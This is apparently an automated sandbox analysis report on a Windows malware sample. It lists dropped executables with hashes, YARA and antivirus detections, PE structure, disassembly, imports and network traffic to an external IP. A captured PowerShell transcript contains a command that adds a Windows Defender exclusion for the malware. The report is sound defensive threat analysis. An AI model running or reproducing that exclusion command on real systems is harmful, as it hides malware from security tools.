Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\8746.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................"...0..N...........l... ........@.. ...............................G....`..................................l..O.......,............X............................................................... ............... ..H............text....L... ...N.................. ..`.rsrc...,............P..............@..@.reloc...............V..............@..B.................l......H.......PK..L!..........................................................MZ......................@...............................................!....!This program cannot be run in DOS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ............... ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\89D7.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	510976
Entropy (8bit):	7.850749525333838
Encrypted:	false
SSDEEP:	12288:Iw86shtDE09VgbshnKMstp7eylszgTDzLTDaMqvK8J+W:IVhdLVg2Zep7njXzPDxC+W
MD5:	B0A956B96769AA21A44206DD528C5B39
SHA1:	30CF20E67DFA3FC38C6E80B761AD0D523C5AF43A
SHA-256:	37B78E9A50830B88E97F6048F90EA0AFE925E0C6E4F0E9A1CF3C7849787D9C4C
SHA-512:	5B6D8707FA2D4B7D41D7B1733409A34645DF2B42FF064D9E7643A8F4AE7076A798B2012959AF6F8B30E44D60B28EF4B1761E0CB3287448329C9144AE9FD9CE9F
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\89D7.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................0.............N.... ........@.. .......................@......yq....`.....................................K............................ ....................................................... ............... ..H............text...T.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................0.......H........u..hk..........@Z..X...........................................MZ......................@...............................................!....!This program cannot be run in DOS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ............... ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\8E8B.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	791552
Entropy (8bit):	7.368824467033047
Encrypted:	false
SSDEEP:	12288:uDMkBTpEvda0f6dSctc54lTQazT6A/9Or+ilw8lCW0k7ro8R3D3INLf3:QMk+dV6dS6KazZ4rPlw8lCWYQi
MD5:	7917305400EE899130B1D5B7AFA0A159
SHA1:	D45E1A34FE773040D7034A80BBEBB3DBD3EA4252
SHA-256:	80C4B12305B41D2FDCD9DCCD53D2414C3AEA2188198F3D79AF262709C1E2DAC9
SHA-512:	417DECA0BEEE73B6EA8379B85726A9DAAF4DC32721D7A658BA42B9D359A6739F7478D3E0068C8B110497CB222956A1AFA5E1BF28C202965DEDE7A659EB824EF6
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........a..........................^..................................Rich...........................PE..L...m;._......................v...................@............................................................................P....0...I.......................... ................................~..@............................................text............................... ..`.data...H.u.........................@....rsrc....I...0...J..................@..@.reloc..8$.......&..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\97A5.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	345600
Entropy (8bit):	6.002783867482684
Encrypted:	false
SSDEEP:	6144:NOTOeA4lwH4QNlDembw1wCuVB/cChQoyYtCv3ddx/W:NiOePwHjNlDePuVB/cChQoytjx/W
MD5:	B8D2D644A3AC5DF8AF9B3AFF803F3347
SHA1:	062E29D59604956A4CFFD64FC81CD1C3F72B0FF3
SHA-256:	C3F8D6B3E497471CC5E1526D59F7068F0655704F98DCA59D79A77B81F1CB7FD5
SHA-512:	1C3E8F1AD4CC920F2B6815F87C351363E114290811D395790918744452B8ACDF2FDF753AC873CB3FCD115E70FD66DFC59C5A08E38F20080D655FCD88483415AA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>.m.m.m..2m..m...m..m..3mq..m...m...m.m...m..6m...m...m...m...m...mRich.m................PE..L......_......................p.....p.............@...........................t.............................................4...d....`s..<....................s.....0..................................@............................................text...h........................... ..`.data....io.........................@....xemu........Ps.....................@....rsrc....<...`s..<..................@..@.reloc...#....s..$..."..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EDD.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22528
Entropy (8bit):	5.395556088889033
Encrypted:	false
SSDEEP:	384:ezekc2D26R7pXha5eglsu2tiP39n+NDr7vGuywqFGc1QzOQslg:qJcMnacgl6Q10rSuywCZ1QO
MD5:	787AF677D0C317E8062B9705CB64F951
SHA1:	41BF391CE44004A22BA7F18E5FDCDCFCEA73E38F
SHA-256:	7CFA3F3EBB7DCE336E24DF02D5BA0FDBC081927892D597986113FB11EDF1702E
SHA-512:	8A9BF2D0DF12926F3253DCF5F2B5186928107C36189F404C50C69B67BC09DDA267FACD53E3259ABF3934DE6682BC3B0E49D1D5ACCFA5D4A5B702F4F9EF8D8B45
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\EDD.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................"...0..N..........nl... ........@.. ..............................P.....`..................................l..S....................Z............................................................... ............... ..H............text...tL... ...N.................. ..`.rsrc................P..............@..@.reloc...............V..............@..B................Pl......H.......PK... ..........................................................MZ......................@...............................................!....!This program cannot be run in DOS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ............... ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v10ptpcx.iby.psm1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Roaming\beuawud Download File
Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	337526
Entropy (8bit):	7.999338951800792
Encrypted:	true
SSDEEP:	6144:AvGRP66xZSKUZlmY9Y4pck/283ajKg+CvJKoVjPmZMqHc/qrIsiNJ5ixSDJ:AUPBxZCll3pxfqjWC9mY/qrIsiNHRDJ
MD5:	73B48815E85A62D84F5BB46E31D67AA7
SHA1:	74D3CF9931564A828E3D594ECB105FA80A4D596C
SHA-256:	BD35FD2B3538D2966514E2518B63BFD40B35608E49CBC6F7829EF5019D3C650D
SHA-512:	B01FA20CCA894371B79F467070BD11C4B041EB525ED95BC46F52CBFDE16C349DC32C4F6725D11938552400DE9E4A467633D0038AFBB10FE2C0BD75B56B111970
Malicious:	false
Reputation:	unknown
Preview:	.s...v(p}.....C...f....B..$..d..F..k.".P"./.-.....t......5..vV.~.#.[..w.t...!>u.9..\.o...f^S.Z.iBV.r.c'{TC.....^}=.d.;9....S<U.....T.\|.....r...z..a.jK.S..cJ?t....$2.tu7..B7.4....`...T...vp.7..TD...^....O4..&B...9..,....x:.o..z.fR...Q...7..{....3...........oE..l.(.%.6.}.Sx6......C....x.+l.....~e..@_.8...h.Rvir..S.Z5.-...a.1..l~..f....Nu.fI.{vc..O..'.%M......\|k.cG..D.ix.......35...z'....Z..W.B0.%...(.]#kI)......0v...?y.Z8a.x..50.W....?@N.........y.V..].P.&80..........PhZ.sI\|'.#6.."...T..X~Jv..4...w.....3......L.=.o.J`...<i.+O...Xw..?.v.../?.TnR..~P]..:..............1\}\..h.E>M.....k<J.gG.y..lX.~........@...9Q...a.u.....u..Y.w1^G@......s..s...C.l..P.v`........^.....H..#y.\|.A..K.e...>.#U..,....K7w.^..Z4....:V...p...-;0,J...85.z...$.!.y..h............SM``{.c...[`..j.....=W.B\|.B..xC.>./...P..G..=G....g..f....e.8.z.......s..7..ty&Xp1.O..9...N.^hu%{y?....Z...3...".>l..o.e..........l}..S*F..!.....G.r..o.8y.v...!F.D.d....\.T...].9.e09.....

C:\Users\user\AppData\Roaming\cviueca Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	345600
Entropy (8bit):	6.002783867482684
Encrypted:	false
SSDEEP:	6144:NOTOeA4lwH4QNlDembw1wCuVB/cChQoyYtCv3ddx/W:NiOePwHjNlDePuVB/cChQoytjx/W
MD5:	B8D2D644A3AC5DF8AF9B3AFF803F3347
SHA1:	062E29D59604956A4CFFD64FC81CD1C3F72B0FF3
SHA-256:	C3F8D6B3E497471CC5E1526D59F7068F0655704F98DCA59D79A77B81F1CB7FD5
SHA-512:	1C3E8F1AD4CC920F2B6815F87C351363E114290811D395790918744452B8ACDF2FDF753AC873CB3FCD115E70FD66DFC59C5A08E38F20080D655FCD88483415AA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>.m.m.m..2m..m...m..m..3mq..m...m...m.m...m..6m...m...m...m...m...mRich.m................PE..L......_......................p.....p.............@...........................t.............................................4...d....`s..<....................s.....0..................................@............................................text...h........................... ..`.data....io.........................@....xemu........Ps.....................@....rsrc....<...`s..<..................@..@.reloc...#....s..$..."..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\cviueca:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\eviueca Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	348672
Entropy (8bit):	5.997778327285649
Encrypted:	false
SSDEEP:	6144:0BbSn3n6QHUKl3hINRqdhUm6b8mCcNebxCg1:Eu3n6UUKlxS2Um6b8mCcNej
MD5:	539C39A9565CD4B120E5EB121E45C3C2
SHA1:	5E1975A1C8F9B8416D9F5F785882DFB0CC9161DC
SHA-256:	C673B8408DB0EB515651E6A6F3361C713903001011C6E13A1825C0376A83D1DD
SHA-512:	3CC343A53051BE34B4CAD9AA9A9AE68D6B5A978B2ECD10516E4934452D29A9455A6CEB5EB7C7B691B2D08F1781BFB7B1E3627CB2823DD4F60860861F2202BA8F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........5.>.T.m.T.m.T.m."2m.T.m.".m.T.m."3mqT.m.,.m.T.m.T.m.T.m."6m.T.m.".m.T.m.".m.T.mRich.T.m........PE..L....8?`......................v.....`.............@...........................z......f......................................$...d....py..I....................y..... ..................................@............................................text............................... ..`.data...H.u.........................@....rsrc....I...py..J..................@..@.reloc...#....y..$..................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\sfiueca Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	212992
Entropy (8bit):	6.734269361613487
Encrypted:	false
SSDEEP:	3072:UJ+Dg6a/6BO0fFI4+uX67vtk4nNcDxzyuEpuVMO6P2+BwvHJ3/RA:FDy/6BOSFI48v2dxzyuEpynVP
MD5:	73252ACB344040DDC5D9CE78A5D3A4C2
SHA1:	3A16C3698CCF7940ADFB2B2A9CC8C20B1BA1D015
SHA-256:	B8AC77C37DE98099DCDC5924418D445F4B11ECF326EDD41A2D49ED6EFD2A07EB
SHA-512:	1541E3D7BD163A4C348C6E5C7098C6F3ADD62B1121296CA28934A69AD308C2E51CA6B841359010DA96E71FA42FD6E09F7591448433DC3B01104007808427C3DE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......^.................V...........,.......p....@..................................q......................................\...<.... ..8............................q.................................@............p..x............................text....U.......V.................. ..`.rdata...G...p...H...Z..............@..@.data...DB..........................@....cipizi.r...........................@..@.rsrc...8.... ......................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\20211029\PowerShell_transcript.855271.tma_ZGFX.20211029153038.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	5837
Entropy (8bit):	5.405294114196077
Encrypted:	false
SSDEEP:	96:BZjK6CNMqDo1Zt5Zjt6CNMqDo1Zt6UWMjZj46CNMqDo1Ztmx88T+ZJn:Prni9B2Yn
MD5:	18D3931C59BBA4D325E29740961DC7FF
SHA1:	18AAA967A257D78A55234DB1CBFD9302882A50A6
SHA-256:	B33CEA91BE89E9DE0F9AD6E9BAC53E334D5DB1CFBD4ADB72B5E4F16ACD204BE2
SHA-512:	E8F520B2C1148FC8044192D7C60A2E1A6E364673B3C6EF4FD3E20EA9CCE081D31787BC11A0941238FBA7F6BBFA41E4CAD763D23E23CE057F23562A0AD86349FD
Malicious:	false
Reputation:	unknown
Preview:	.********************..Windows PowerShell transcript start..Start time: 20211029153041..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 855271 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\Users\user~1\AppData\Local\Temp\5D4.exe -Force..Process ID: 4756..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20211029153041..******************..PS>Add-MpPreference -ExclusionPath C:\Users\user~1\AppData\Local\Temp\5D4.exe -Force..********************..Windows PowerShell transcript start..Start time: 20211029153543..Username: computer\user..RunAs Us

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.002783867482684
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SkB6zJ6H3N.exe
File size:	345600
MD5:	b8d2d644a3ac5df8af9b3aff803f3347
SHA1:	062e29d59604956a4cffd64fc81cd1c3f72b0ff3
SHA256:	c3f8d6b3e497471cc5e1526d59f7068f0655704f98dca59d79a77b81f1cb7fd5
SHA512:	1c3e8f1ad4cc920f2b6815f87c351363e114290811d395790918744452b8acdf2fdf753ac873cb3fcd115e70fd66dfc59c5a08e38f20080d655fcd88483415aa
SSDEEP:	6144:NOTOeA4lwH4QNlDembw1wCuVB/cChQoyYtCv3ddx/W:NiOePwHjNlDePuVB/cChQoytjx/W
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........>...m...m...m..2m...m...m...m..3mq..m...m...m...m...m..6m...m...m...m...m...mRich...m................PE..L......_...........

File Icon


Icon Hash:	aecaae9ecea62aa2

Static PE Info

General
Entrypoint:	0x41c770
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x5F030C83 [Mon Jul 6 11:35:31 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	e522cb867082e04c7a4b61561f8516ce

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007FE5F8C1FE4Bh
call 00007FE5F8C1AC96h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 0043C600h
push 00421690h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF98h
push ebx
push esi
push edi
mov eax, dword ptr [0043E494h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [00401070h]
cmp dword ptr [02B339C4h], 00000000h
jne 00007FE5F8C1AC90h
push 00000000h
push 00000000h
push 00000001h
push 00000000h
call dword ptr [004010FCh]
call 00007FE5F8C1AE13h
mov dword ptr [ebp-6Ch], eax
call 00007FE5F8C230FBh
test eax, eax
jne 00007FE5F8C1AC8Ch
push 0000001Ch
call 00007FE5F8C1ADD0h
add esp, 04h
call 00007FE5F8C22A58h
test eax, eax
jne 00007FE5F8C1AC8Ch
push 00000010h
call 00007FE5F8C1ADBDh
add esp, 04h
push 00000001h
call 00007FE5F8C229A3h
add esp, 04h
call 00007FE5F8C207BBh
mov dword ptr [ebp-04h], 00000000h
call 00007FE5F8C1F19Fh
test eax, eax

Rich Headers

Programming Language:

[LNK] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[C++] VS2010 build 30319
[RES] VS2010 build 30319
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3cc34	0x64	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2736000	0x3c00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x273a000	0x1b88	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1230	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1bbf0	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1dc	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3c768	0x3c800	False	0.59776520532	data	6.98541058643	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x3e000	0x26f69c8	0x1600	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.xemu	0x2735000	0x2e5	0x400	False	0.0166015625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x2736000	0x3c00	0x3c00	False	0.746549479167	data	6.42298314809	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x273a000	0x123f0	0x12400	False	0.0814158818493	data	1.05267442442	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x2736240	0x25a8	data	Spanish	Paraguay
RT_ICON	0x27387e8	0x10a8	data	Spanish	Paraguay
RT_STRING	0x27399d0	0x72	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x2739a48	0x1b6	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0x2739920	0x90	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0x27398b8	0x68	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_ICON	0x2739890	0x22	data	Spanish	Paraguay
None	0x27399c0	0xa	data	Divehi; Dhivehi; Maldivian	Maldives
None	0x27399b0	0xa	data	Divehi; Dhivehi; Maldivian	Maldives

Imports

DLL	Import
KERNEL32.dll	GetDriveTypeW, GetCPInfo, HeapAlloc, InterlockedIncrement, GetSystemWindowsDirectoryW, SetEnvironmentVariableW, QueryDosDeviceA, GetNamedPipeHandleStateA, SetHandleInformation, FindFirstFileExW, LockFile, BackupSeek, FreeEnvironmentStringsA, GetModuleHandleW, IsBadReadPtr, ActivateActCtx, GetPrivateProfileIntA, SetFileShortNameW, ReadConsoleInputA, CopyFileW, GetSystemWow64DirectoryW, GetVersionExW, SetDllDirectoryA, GetSystemDirectoryA, CreateActCtxA, CompareStringW, GetStartupInfoW, VerifyVersionInfoW, TlsGetValue, GetLongPathNameW, SetLastError, GetProcAddress, FindVolumeMountPointClose, WriteProfileSectionA, GlobalGetAtomNameA, FindClose, GetPrivateProfileStringA, OpenWaitableTimerA, LocalAlloc, SetSystemTime, GetModuleFileNameA, FindFirstChangeNotificationA, GetProcessShutdownParameters, FreeEnvironmentStringsW, BuildCommDCBA, GetCurrentDirectoryA, CompareStringA, GetConsoleCursorInfo, TlsAlloc, GetWindowsDirectoryW, GetProfileSectionW, AreFileApisANSI, DeleteFileA, LocalFileTimeToFileTime, CloseHandle, SetStdHandle, GetLastError, GetConsoleAliasesLengthW, FlushFileBuffers, MoveFileA, GetCommandLineW, HeapSetInformation, InterlockedDecrement, DecodePointer, ExitProcess, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, EncodePointer, GetModuleFileNameW, WriteFile, GetStdHandle, IsProcessorFeaturePresent, EnterCriticalSection, LeaveCriticalSection, SetHandleCount, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, QueryPerformanceCounter, GetTickCount, GetCurrentThreadId, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, HeapValidate, TlsSetValue, TlsFree, HeapCreate, GetACP, GetOEMCP, IsValidCodePage, LoadLibraryW, RtlUnwind, RaiseException, SetFilePointer, WideCharToMultiByte, GetConsoleCP, GetConsoleMode, OutputDebugStringA, WriteConsoleW, OutputDebugStringW, HeapReAlloc, HeapSize, HeapQueryInformation, HeapFree, LCMapStringW, MultiByteToWideChar, GetStringTypeW, CreateFileW
USER32.dll	GetMenuInfo
GDI32.dll	GetBitmapBits
WINHTTP.dll	WinHttpReadData

Possible Origin

Language of compilation system	Country where language is spoken	Map
Spanish	Paraguay
Divehi; Dhivehi; Maldivian	Maldives

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2021 15:29:50.306859016 CEST	49754	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.359117985 CEST	80	49754	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:50.359253883 CEST	49754	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.359400034 CEST	49754	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.359416008 CEST	49754	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.411180973 CEST	80	49754	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:50.438457012 CEST	80	49754	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:50.438703060 CEST	80	49754	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:50.438931942 CEST	49754	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.440260887 CEST	49754	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.492053986 CEST	80	49754	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:50.741231918 CEST	49756	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.792943954 CEST	80	49756	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:50.793108940 CEST	49756	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.793318987 CEST	49756	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.793404102 CEST	49756	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.844820976 CEST	80	49756	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:50.875746012 CEST	80	49756	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:50.875952005 CEST	49756	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.876276970 CEST	49756	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.908721924 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.927512884 CEST	80	49756	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:50.960303068 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:50.960567951 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:50.960743904 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.053893089 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.098901033 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.098938942 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.098965883 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.099003077 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.099031925 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.099061012 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.099080086 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.099087000 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.099117041 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.099143982 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.099170923 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.099236965 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.099287987 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.150829077 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.150866032 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.150892019 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.150918961 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.150948048 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.150950909 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.150974035 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.151000023 CEST	49757	80	192.168.2.7	185.98.87.159
Oct 29, 2021 15:29:51.151002884 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.151031017 CEST	80	49757	185.98.87.159	192.168.2.7
Oct 29, 2021 15:29:51.151057005 CEST	80	49757	185.98.87.159	192.168.2.7
